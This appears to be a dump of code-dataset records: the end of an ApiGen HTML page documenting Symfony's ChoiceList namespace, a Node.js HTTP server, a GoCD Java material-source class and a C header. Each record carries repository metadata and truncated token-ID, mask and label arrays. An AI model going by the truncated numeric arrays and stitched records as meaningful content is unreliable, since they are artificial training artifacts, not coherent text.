<li><a href="namespace-Symfony.Component.Templating.Tests.Fixtures.html">Fixtures</a> </li> <li><a href="namespace-Symfony.Component.Templating.Tests.Helper.html">Helper</a> </li> <li><a href="namespace-Symfony.Component.Templating.Tests.Loader.html">Loader</a> </li> <li><a href="namespace-Symfony.Component.Templating.Tests.Storage.html">Storage</a> </li> </ul></li></ul></li> <li><a href="namespace-Symfony.Component.Translation.html">Translation<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Translation.Catalogue.html">Catalogue</a> </li> <li><a href="namespace-Symfony.Component.Translation.Dumper.html">Dumper</a> </li> <li><a href="namespace-Symfony.Component.Translation.Exception.html">Exception</a> </li> <li><a href="namespace-Symfony.Component.Translation.Extractor.html">Extractor</a> </li> <li><a href="namespace-Symfony.Component.Translation.Loader.html">Loader</a> </li> <li><a href="namespace-Symfony.Component.Translation.Tests.html">Tests<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Translation.Tests.Catalogue.html">Catalogue</a> </li> <li><a href="namespace-Symfony.Component.Translation.Tests.Dumper.html">Dumper</a> </li> <li><a href="namespace-Symfony.Component.Translation.Tests.Loader.html">Loader</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Translation.Writer.html">Writer</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Validator.html">Validator<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Validator.Constraints.html">Constraints</a> </li> <li><a href="namespace-Symfony.Component.Validator.Exception.html">Exception</a> </li> <li><a href="namespace-Symfony.Component.Validator.Mapping.html">Mapping<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Validator.Mapping.Cache.html">Cache</a> </li> <li><a href="namespace-Symfony.Component.Validator.Mapping.Loader.html">Loader</a> </li> </ul></li> <li><a href="namespace-Symfony.Component.Validator.Tests.html">Tests<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Validator.Tests.Constraints.html">Constraints</a> </li> <li><a href="namespace-Symfony.Component.Validator.Tests.Fixtures.html">Fixtures</a> </li> <li><a href="namespace-Symfony.Component.Validator.Tests.Mapping.html">Mapping<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Validator.Tests.Mapping.Cache.html">Cache</a> </li> <li><a href="namespace-Symfony.Component.Validator.Tests.Mapping.Loader.html">Loader</a> </li> </ul></li></ul></li></ul></li> <li><a href="namespace-Symfony.Component.Yaml.html">Yaml<span></span></a> <ul> <li><a href="namespace-Symfony.Component.Yaml.Exception.html">Exception</a> </li> <li><a href="namespace-Symfony.Component.Yaml.Tests.html">Tests</a> </li> </ul></li></ul></li></ul></li> <li><a href="namespace-Tecnocreaciones.html">Tecnocreaciones<span></span></a> <ul> <li><a href="namespace-Tecnocreaciones.Bundle.html">Bundle<span></span></a> <ul> <li><a href="namespace-Tecnocreaciones.Bundle.AjaxFOSUserBundle.html">AjaxFOSUserBundle<span></span></a> <ul> <li><a href="namespace-Tecnocreaciones.Bundle.AjaxFOSUserBundle.Controller.html">Controller</a> </li> <li><a href="namespace-Tecnocreaciones.Bundle.AjaxFOSUserBundle.DependencyInjection.html">DependencyInjection<span></span></a> <ul> <li><a href="namespace-Tecnocreaciones.Bundle.AjaxFOSUserBundle.DependencyInjection.Compiler.html">Compiler</a> </li> </ul></li> <li><a href="namespace-Tecnocreaciones.Bundle.AjaxFOSUserBundle.Event.html">Event</a> </li> <li><a href="namespace-Tecnocreaciones.Bundle.AjaxFOSUserBundle.EventListener.html">EventListener</a> </li> <li><a href="namespace-Tecnocreaciones.Bundle.AjaxFOSUserBundle.Handler.html">Handler</a> </li> <li><a href="namespace-Tecnocreaciones.Bundle.AjaxFOSUserBundle.Tests.html">Tests<span></span></a> <ul> <li><a href="namespace-Tecnocreaciones.Bundle.AjaxFOSUserBundle.Tests.Controller.html">Controller</a> </li> </ul></li></ul></li> <li><a href="namespace-Tecnocreaciones.Bundle.InstallBundle.html">InstallBundle<span></span></a> <ul> <li><a href="namespace-Tecnocreaciones.Bundle.InstallBundle.Command.html">Command</a> </li> <li><a href="namespace-Tecnocreaciones.Bundle.InstallBundle.DependencyInjection.html">DependencyInjection</a> </li> <li><a href="namespace-Tecnocreaciones.Bundle.InstallBundle.Tests.html">Tests<span></span></a> <ul> <li><a href="namespace-Tecnocreaciones.Bundle.InstallBundle.Tests.Controller.html">Controller</a> </li> </ul></li></ul></li> <li><a href="namespace-Tecnocreaciones.Bundle.TemplateBundle.html">TemplateBundle<span></span></a> <ul> <li><a href="namespace-Tecnocreaciones.Bundle.TemplateBundle.Controller.html">Controller</a> </li> <li><a href="namespace-Tecnocreaciones.Bundle.TemplateBundle.DependencyInjection.html">DependencyInjection</a> </li> <li><a href="namespace-Tecnocreaciones.Bundle.TemplateBundle.Menu.html">Menu<span></span></a> <ul> <li><a href="namespace-Tecnocreaciones.Bundle.TemplateBundle.Menu.Template.html">Template<span></span></a> <ul> <li><a href="namespace-Tecnocreaciones.Bundle.TemplateBundle.Menu.Template.Developer.html">Developer</a> </li> </ul></li></ul></li> <li><a href="namespace-Tecnocreaciones.Bundle.TemplateBundle.Tests.html">Tests<span></span></a> <ul> <li><a href="namespace-Tecnocreaciones.Bundle.TemplateBundle.Tests.Controller.html">Controller</a> </li> </ul></li></ul></li></ul></li> <li><a href="namespace-Tecnocreaciones.Vzla.html">Vzla<span></span></a> <ul> <li><a href="namespace-Tecnocreaciones.Vzla.GovernmentBundle.html">GovernmentBundle<span></span></a> <ul> <li><a href="namespace-Tecnocreaciones.Vzla.GovernmentBundle.DependencyInjection.html">DependencyInjection</a> </li> <li><a href="namespace-Tecnocreaciones.Vzla.GovernmentBundle.Form.html">Form<span></span></a> <ul> <li><a href="namespace-Tecnocreaciones.Vzla.GovernmentBundle.Form.Type.html">Type</a> </li> </ul></li> <li><a href="namespace-Tecnocreaciones.Vzla.GovernmentBundle.Menu.html">Menu<span></span></a> <ul> <li><a href="namespace-Tecnocreaciones.Vzla.GovernmentBundle.Menu.Template.html">Template<span></span></a> <ul> <li><a href="namespace-Tecnocreaciones.Vzla.GovernmentBundle.Menu.Template.Developer.html">Developer</a> </li> </ul></li></ul></li> <li><a href="namespace-Tecnocreaciones.Vzla.GovernmentBundle.Model.html">Model</a> </li> <li><a href="namespace-Tecnocreaciones.Vzla.GovernmentBundle.Tests.html">Tests<span></span></a> <ul> <li><a href="namespace-Tecnocreaciones.Vzla.GovernmentBundle.Tests.Controller.html">Controller</a> </li> </ul></li> <li><a href="namespace-Tecnocreaciones.Vzla.GovernmentBundle.Twig.html">Twig<span></span></a> <ul> <li><a href="namespace-Tecnocreaciones.Vzla.GovernmentBundle.Twig.Extension.html">Extension</a> </li> </ul></li></ul></li></ul></li></ul></li> <li><a href="namespace-TestBundle.html">TestBundle<span></span></a> <ul> <li><a href="namespace-TestBundle.Fabpot.html">Fabpot<span></span></a> <ul> <li><a href="namespace-TestBundle.Fabpot.FooBundle.html">FooBundle<span></span></a> <ul> <li><a href="namespace-TestBundle.Fabpot.FooBundle.Controller.html">Controller</a> </li> </ul></li></ul></li> <li><a href="namespace-TestBundle.FooBundle.html">FooBundle<span></span></a> <ul> <li><a href="namespace-TestBundle.FooBundle.Controller.html">Controller<span></span></a> <ul> <li><a href="namespace-TestBundle.FooBundle.Controller.Sub.html">Sub</a> </li> <li><a href="namespace-TestBundle.FooBundle.Controller.Test.html">Test</a> </li> </ul></li></ul></li> <li><a href="namespace-TestBundle.Sensio.html">Sensio<span></span></a> <ul> <li><a href="namespace-TestBundle.Sensio.Cms.html">Cms<span></span></a> <ul> <li><a href="namespace-TestBundle.Sensio.Cms.FooBundle.html">FooBundle<span></span></a> <ul> <li><a href="namespace-TestBundle.Sensio.Cms.FooBundle.Controller.html">Controller</a> </li> </ul></li></ul></li> <li><a href="namespace-TestBundle.Sensio.FooBundle.html">FooBundle<span></span></a> <ul> <li><a href="namespace-TestBundle.Sensio.FooBundle.Controller.html">Controller</a> </li> </ul></li></ul></li></ul></li> <li><a href="namespace-TestFixtures.html">TestFixtures</a> </li> <li><a href="namespace-Timestampable.html">Timestampable<span></span></a> <ul> <li><a href="namespace-Timestampable.Fixture.html">Fixture<span></span></a> <ul> <li><a href="namespace-Timestampable.Fixture.Document.html">Document</a> </li> </ul></li></ul></li> <li><a href="namespace-Tool.html">Tool</a> </li> <li><a href="namespace-Translatable.html">Translatable<span></span></a> <ul> <li><a href="namespace-Translatable.Fixture.html">Fixture<span></span></a> <ul> <li><a href="namespace-Translatable.Fixture.Document.html">Document<span></span></a> <ul> <li><a href="namespace-Translatable.Fixture.Document.Personal.html">Personal</a> </li> </ul></li> <li><a href="namespace-Translatable.Fixture.Issue114.html">Issue114</a> </li> <li><a href="namespace-Translatable.Fixture.Issue138.html">Issue138</a> </li> <li><a href="namespace-Translatable.Fixture.Issue165.html">Issue165</a> </li> <li><a href="namespace-Translatable.Fixture.Issue173.html">Issue173</a> </li> <li><a href="namespace-Translatable.Fixture.Issue75.html">Issue75</a> </li> <li><a href="namespace-Translatable.Fixture.Issue922.html">Issue922</a> </li> <li><a href="namespace-Translatable.Fixture.Personal.html">Personal</a> </li> <li><a href="namespace-Translatable.Fixture.Template.html">Template</a> </li> <li><a href="namespace-Translatable.Fixture.Type.html">Type</a> </li> </ul></li></ul></li> <li><a href="namespace-Translator.html">Translator<span></span></a> <ul> <li><a href="namespace-Translator.Fixture.html">Fixture</a> </li> </ul></li> <li><a href="namespace-Tree.html">Tree<span></span></a> <ul> <li><a href="namespace-Tree.Fixture.html">Fixture<span></span></a> <ul> <li><a href="namespace-Tree.Fixture.Closure.html">Closure</a> </li> <li><a href="namespace-Tree.Fixture.Document.html">Document</a> </li> <li><a href="namespace-Tree.Fixture.Genealogy.html">Genealogy</a> </li> <li><a href="namespace-Tree.Fixture.Mock.html">Mock</a> </li> <li><a href="namespace-Tree.Fixture.Repository.html">Repository</a> </li> <li><a href="namespace-Tree.Fixture.Transport.html">Transport</a> </li> </ul></li></ul></li> <li><a href="namespace-Uploadable.html">Uploadable<span></span></a> <ul> <li><a href="namespace-Uploadable.Fixture.html">Fixture<span></span></a> <ul> <li><a href="namespace-Uploadable.Fixture.Entity.html">Entity</a> </li> </ul></li></ul></li> <li><a href="namespace-Wrapper.html">Wrapper<span></span></a> <ul> <li><a href="namespace-Wrapper.Fixture.html">Fixture<span></span></a> <ul> <li><a href="namespace-Wrapper.Fixture.Document.html">Document</a> </li> <li><a href="namespace-Wrapper.Fixture.Entity.html">Entity</a> </li> </ul></li></ul></li> </ul> </div> <hr /> <div id="elements"> <h3>Classes</h3> <ul> <li><a href="class-Symfony.Component.Form.Extension.Core.ChoiceList.ChoiceList.html">ChoiceList</a></li> <li><a href="class-Symfony.Component.Form.Extension.Core.ChoiceList.LazyChoiceList.html">LazyChoiceList</a></li> <li><a href="class-Symfony.Component.Form.Extension.Core.ChoiceList.ObjectChoiceList.html">ObjectChoiceList</a></li> <li><a href="class-Symfony.Component.Form.Extension.Core.ChoiceList.SimpleChoiceList.html">SimpleChoiceList</a></li> </ul> <h3>Interfaces</h3> <ul> <li><a href="class-Symfony.Component.Form.Extension.Core.ChoiceList.ChoiceListInterface.html">ChoiceListInterface</a></li> </ul> </div> </div> </div> <div id="splitter"></div> <div id="right"> <div id="rightInner"> <form id="search"> <input type="hidden" name="cx" value="" /> <input type="hidden" name="ie" value="UTF-8" /> <input type="text" name="q" class="text" /> <input type="submit" value="Search" /> </form> <div id="navigation"> <ul> <li> <a href="index.html" title="Overview"><span>Overview</span></a> </li> <li class="active"> <span>Namespace</span> </li> <li> <span>Class</span> </li> </ul> <ul> <li> <a href="tree.html" title="Tree view of classes, interfaces, traits and exceptions"><span>Tree</span></a> </li> </ul> <ul> </ul> </div> <div id="content" class="namespace"> <h1>Namespace <a href="namespace-Symfony.html">Symfony</a>\<a href="namespace-Symfony.Component.html">Component</a>\<a href="namespace-Symfony.Component.Form.html">Form</a>\<a href="namespace-Symfony.Component.Form.Extension.html">Extension</a>\<a href="namespace-Symfony.Component.Form.Extension.Core.html">Core</a>\ChoiceList</h1> <table class="summary" id="classes"> <caption>Classes summary</caption> <tr> <td class="name"><a href="class-Symfony.Component.Form.Extension.Core.ChoiceList.ChoiceList.html">ChoiceList</a></td> <td>A choice list for choices of arbitrary data types.</td> </tr> <tr> <td class="name"><a href="class-Symfony.Component.Form.Extension.Core.ChoiceList.LazyChoiceList.html">LazyChoiceList</a></td> <td>A choice list that is loaded lazily</td> </tr> <tr> <td class="name"><a href="class-Symfony.Component.Form.Extension.Core.ChoiceList.ObjectChoiceList.html">ObjectChoiceList</a></td> <td>A choice list for object choices.</td> </tr> <tr> <td class="name"><a href="class-Symfony.Component.Form.Extension.Core.ChoiceList.SimpleChoiceList.html">SimpleChoiceList</a></td> <td>A choice list for choices of type string or integer.</td> </tr> </table> <table class="summary" id="interfaces"> <caption>Interfaces summary</caption> <tr> <td class="name"><a href="class-Symfony.Component.Form.Extension.Core.ChoiceList.ChoiceListInterface.html">ChoiceListInterface</a></td> <td>Contains choices that can be selected in a form field.</td> </tr> </table> </div> <div id="footer"> seip API documentation generated by <a href="http://apigen.org">ApiGen 2.8.0</a> </div> </div> </div> </body> </html>
Tecnocreaciones/VzlaGovernmentTemplateDeveloperSeed
api/namespace-Symfony.Component.Form.Extension.Core.ChoiceList.html
HTML
mit
155,450
[ 30522, 1026, 999, 9986, 13874, 16129, 1028, 1026, 16129, 1028, 1026, 2132, 1028, 1026, 18804, 8299, 1011, 1041, 15549, 2615, 1027, 1000, 4180, 1011, 2828, 1000, 4180, 1027, 1000, 3793, 1013, 16129, 1025, 25869, 13462, 1027, 21183, 2546, 101...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/** * Created by Stefan on 9/19/2017 */ /** * Created by Stefan Endres on 08/16/2017. */ 'use strict' var http = require('http'), https = require('https'), url = require('url'), util = require('util'), fs = require('fs'), path = require('path'), sessions = require('./sessions'), EventEmitter = require('events').EventEmitter; function LHServer() { this.fnStack = []; this.defaultPort = 3000; this.options = {}; this.viewEngine = null; EventEmitter.call(this); } util.inherits(LHServer, EventEmitter); LHServer.prototype.use = function(path, options, fn) { if(typeof path === 'function') { fn = path; } if(typeof options === 'function') { fn = options; } if(!fn) return; var fnObj = { fn: fn, method: null, path: typeof path === 'string' ? path : null, options: typeof options === 'object' ? options : {}, } this.fnStack.push(fnObj); } LHServer.prototype.execute = function(req, res) { var self = this; var url_parts = url.parse(req.url); var callbackStack = this.getFunctionList(url_parts.pathname, req.method); if(callbackStack.length === 0) { return; } var func = callbackStack.shift(); // add session capabilities if(this.options['session']) { var session = sessions.lookupOrCreate(req,{ lifetime: this.options['session'].lifetime || 604800, secret: this.options['session'].secret || '', }); if(!res.finished) { res.setHeader('Set-Cookie', session.getSetCookieHeaderValue()); } req.session = session; } // add template rendering if(typeof this.options['view engine'] !== 'undefined') { res.render = render.bind(this,res); } res.statusCode = 200; res.send = send.bind(this,res); res.redirect = redirect.bind(this,res); res.status = status.bind(this,res); res.header = header.bind(this,res); try{ func.apply(this,[req,res, function(){self.callbackNextFunction(req,res,callbackStack)}]); } catch (e) { this.emit('error', e, res, req); } } LHServer.prototype.callbackNextFunction = function(req,res,callbackStack) { var self = this; if(callbackStack.length === 0) { return; } callbackStack[0] && callbackStack[0].apply && callbackStack[0].apply(this,[req,res,function() { callbackStack.shift(); self.callbackNextFunction(req,res,callbackStack) }]); } LHServer.prototype.listen = function(options, cb) { var opt = {}; if(typeof options === 'number' || typeof options === 'string'){ opt.port = options; } else { opt = Object.assign(opt,options) } var httpServer; if(opt.cert && opt.key) { httpServer = https.createServer(opt, this.execute.bind(this)).listen(opt.port || this.defaultPort); } else { httpServer = http.createServer(this.execute.bind(this)).listen(opt.port || this.defaultPort); } if(httpServer) { this.emit('ready'); }; cb && cb(httpServer); } LHServer.prototype.set = function(option, value) { this.options[option] = value; if(option === 'view engine' && value && value !== '') { try { this.viewEngine = require(value); } catch (err) { this.emit('error',err); } } } LHServer.prototype.getFunctionList = function(requestPath, method) { var ret = []; if(this.options['static']) { ret.push(readStaticFile.bind(this)); } for(var i in this.fnStack) { var pathMatch = ( this.fnStack[i].options && this.fnStack[i].options.partialPath ? this.fnStack[i].path === requestPath.substr(0, this.fnStack[i].path.length) : this.fnStack[i].path === requestPath ) || this.fnStack[i].path === null; if((this.fnStack[i].method === method || this.fnStack[i].method === null) && pathMatch) { if(this.fnStack[i].fn) { ret.push(this.fnStack[i].fn); } } } return ret; } LHServer.prototype.get = LHServer.prototype.post = LHServer.prototype.put = LHServer.prototype.delete = function() {}; var methods = ['get', 'put', 'post', 'delete',]; methods.map(function(method) { LHServer.prototype[method] = function(path, options, fn) { if(typeof path === 'function') { fn = path; } if(typeof options === 'function') { fn = options; } if(!fn) return; var fnObj = { fn: fn, method: method.toUpperCase(), path: typeof path === 'string' ? path : null, options: typeof options === 'object' ? options : {}, } this.fnStack.push(fnObj); } }) function readStaticFile(req,res,next) { if(res.finished){ return next && next(); } var self = this; var url_parts = url.parse(req.url); var requestPath = path.normalize(url_parts.pathname ).replace(/^(\.\.(\/|\\|$))+/, ''); if(requestPath === '/'){ requestPath = '/index.html' } var filePath = path.join(this.options['static'],requestPath); const contentTypes = { '.ico': 'image/x-icon', '.html': 'text/html', '.js': 'text/javascript', '.json': 'application/json', '.css': 'text/css', '.png': 'image/png', '.jpg': 'image/jpeg', '.wav': 'audio/wav', '.mp3': 'audio/mpeg', '.svg': 'image/svg+xml', '.pdf': 'application/pdf', '.doc': 'application/msword' }; var fExt = path.extname(filePath); var contentType; if(fExt && contentTypes.hasOwnProperty(fExt)) { contentType = contentTypes[fExt]; } else { return next && next(); } fs.readFile(filePath, function(err, content) { if (err) { return next && next(); } else { res.header('Content-Type', contentType); res.header('Content-Length', Buffer.byteLength(content)); res.writeHead( res.statusCode, res.headerValues ); res.end(content, 'utf-8'); return next && next(); } }); } function send(res, data) { if(res.finished){ return; } var contentType = 'text/html'; var responseBody = data; if(typeof data === 'object') { contentType = 'application/json' responseBody = JSON.stringify(data); } res.header('Content-Type', contentType) res.header('Content-Length', Buffer.byteLength(responseBody)) res.writeHead( res.statusCode, res.headerValues ); res.end(responseBody); } function render(res,template,options,callback){ if(res.finished){ return; } var self = this; if(typeof self.viewEngine === 'undefined') { return callback && callback(); } if(self.viewEngine.renderFile) { return self.viewEngine.renderFile( (self.options['views'] || '') + '/'+template+'.pug', options, function(err, result) { if(err){ self.emit('error',err); } if(result){ res.header('Content-Type', 'text/html') res.header('Content-Length', Buffer.byteLength(result)) res.writeHead( res.statusCode, res.headerValues ); res.end(result); } callback && callback(err,result); } ) } } function status(res,code) { res.statusCode = code; } function header(res, key, value) { if(typeof res.headerValues === 'undefined'){ res.headerValues = {}; } res.headerValues[key] = value } function redirect(res,url) { var address = url; var status = 302; if (arguments.length === 3) { if (typeof arguments[1] === 'number') { status = arguments[1]; address = arguments[2]; } } var responseBody = 'Redirecting to ' + address; res.header('Content-Type', 'text/html') res.header('Cache-Control', 'no-cache') res.header('Content-Length', Buffer.byteLength(responseBody)) res.header('Location', address) res.writeHead( status, res.headerValues ); res.end(responseBody); }; module.exports = new LHServer();
endresstefan/light-http-server
lib/server.js
JavaScript
isc
8,582
[ 30522, 1013, 1008, 1008, 1008, 2580, 2011, 8852, 2006, 1023, 1013, 2539, 1013, 2418, 1008, 1013, 1013, 1008, 1008, 1008, 2580, 2011, 8852, 2203, 6072, 2006, 5511, 1013, 2385, 1013, 2418, 1012, 1008, 1013, 1005, 2224, 9384, 1005, 13075, 82...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* * Copyright 2022 ThoughtWorks, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.thoughtworks.go.server.materials; import com.thoughtworks.go.config.CruiseConfig; import com.thoughtworks.go.config.PipelineConfig; import com.thoughtworks.go.config.materials.dependency.DependencyMaterial; import com.thoughtworks.go.config.remote.ConfigRepoConfig; import com.thoughtworks.go.domain.materials.Material; import com.thoughtworks.go.domain.packagerepository.PackageDefinition; import com.thoughtworks.go.domain.packagerepository.PackageRepository; import com.thoughtworks.go.domain.scm.SCM; import com.thoughtworks.go.listener.ConfigChangedListener; import com.thoughtworks.go.listener.EntityConfigChangedListener; import com.thoughtworks.go.server.service.GoConfigService; import com.thoughtworks.go.server.service.MaterialConfigConverter; import com.thoughtworks.go.util.SystemEnvironment; import org.slf4j.Logger; import org.joda.time.DateTimeUtils; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import java.util.*; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.ConcurrentMap; /** * Provides a list of unique SCMMaterials to be updated which will be consumed by MaterialUpdateService */ @Component public class SCMMaterialSource extends EntityConfigChangedListener<ConfigRepoConfig> implements ConfigChangedListener, MaterialSource, MaterialUpdateCompleteListener { private static final Logger LOGGER = LoggerFactory.getLogger(SCMMaterialSource.class); private final GoConfigService goConfigService; private ConcurrentMap<Material, Long> materialLastUpdateTimeMap = new ConcurrentHashMap<>(); private final MaterialConfigConverter materialConfigConverter; private final MaterialUpdateService materialUpdateService; private final long materialUpdateInterval; private Set<Material> schedulableMaterials; @Autowired public SCMMaterialSource(GoConfigService goConfigService, SystemEnvironment systemEnvironment, MaterialConfigConverter materialConfigConverter, MaterialUpdateService materialUpdateService) { this.goConfigService = goConfigService; this.materialConfigConverter = materialConfigConverter; this.materialUpdateService = materialUpdateService; this.materialUpdateInterval = systemEnvironment.getMaterialUpdateIdleInterval(); } public void initialize() { goConfigService.register(this); goConfigService.register(new InternalConfigChangeListener() { @Override public void onEntityConfigChange(Object entity) { updateSchedulableMaterials(true); } }); materialUpdateService.registerMaterialSources(this); materialUpdateService.registerMaterialUpdateCompleteListener(this); } @Override public Set<Material> materialsForUpdate() { updateSchedulableMaterials(false); return materialsWithUpdateIntervalElapsed(); } @Override public void onMaterialUpdate(Material material) { if (!(material instanceof DependencyMaterial)) { updateLastUpdateTimeForScmMaterial(material); } } @Override public void onConfigChange(CruiseConfig newCruiseConfig) { updateSchedulableMaterials(true); } @Override public void onEntityConfigChange(ConfigRepoConfig entity) { updateSchedulableMaterials(true); } protected EntityConfigChangedListener<PipelineConfig> pipelineConfigChangedListener() { final SCMMaterialSource self = this; return new EntityConfigChangedListener<PipelineConfig>() { @Override public void onEntityConfigChange(PipelineConfig pipelineConfig) { self.onConfigChange(null); } }; } private Set<Material> materialsWithUpdateIntervalElapsed() { Set<Material> materialsForUpdate = new HashSet<>(); for (Material material : schedulableMaterials) { if (hasUpdateIntervalElapsedForScmMaterial(material)) { materialsForUpdate.add(material); } } return materialsForUpdate; } boolean hasUpdateIntervalElapsedForScmMaterial(Material material) { Long lastMaterialUpdateTime = materialLastUpdateTimeMap.get(material); if (lastMaterialUpdateTime != null) { boolean shouldUpdateMaterial = (DateTimeUtils.currentTimeMillis() - lastMaterialUpdateTime) >= materialUpdateInterval; if (LOGGER.isDebugEnabled() && !shouldUpdateMaterial) { LOGGER.debug("[Material Update] Skipping update of material {} which has been last updated at {}", material, new Date(lastMaterialUpdateTime)); } return shouldUpdateMaterial; } return true; } private void updateLastUpdateTimeForScmMaterial(Material material) { materialLastUpdateTimeMap.put(material, DateTimeUtils.currentTimeMillis()); } private void updateSchedulableMaterials(boolean forceLoad) { if (forceLoad || schedulableMaterials == null) { schedulableMaterials = materialConfigConverter.toMaterials(goConfigService.getSchedulableSCMMaterials()); } } private abstract class InternalConfigChangeListener extends EntityConfigChangedListener<Object> { private final List<Class<?>> securityConfigClasses = Arrays.asList( PipelineConfig.class, PackageDefinition.class, PackageRepository.class, SCM.class ); @Override public boolean shouldCareAbout(Object entity) { return securityConfigClasses.stream().anyMatch(aClass -> aClass.isAssignableFrom(entity.getClass())); } } }
Skarlso/gocd
server/src/main/java/com/thoughtworks/go/server/materials/SCMMaterialSource.java
Java
apache-2.0
6,425
[ 30522, 1013, 1008, 1008, 9385, 16798, 2475, 2245, 9316, 1010, 4297, 1012, 1008, 1008, 7000, 2104, 1996, 15895, 6105, 1010, 2544, 1016, 1012, 1014, 1006, 1996, 1000, 6105, 1000, 1007, 1025, 1008, 2017, 2089, 2025, 2224, 2023, 5371, 3272, 1...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* * Copyright 2010 JiJie Shi * * This file is part of PEMaster. * * PEMaster is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * PEMaster is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with PEMaster. If not, see <http://www.gnu.org/licenses/>. * */ #ifndef __FUNCS_H__ #define __FUNCS_H__ int sum( int num1, int num2 ); #endif //__FUNCS_H__
phcole/pe-master
lib_sample/funcs.h
C
gpl-2.0
831
[ 30522, 1013, 1008, 1008, 9385, 2230, 10147, 4478, 2063, 11895, 1008, 1008, 2023, 5371, 2003, 2112, 1997, 21877, 8706, 1012, 1008, 1008, 21877, 8706, 2003, 2489, 4007, 1024, 2017, 2064, 2417, 2923, 3089, 8569, 2618, 2009, 1998, 1013, 2030, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
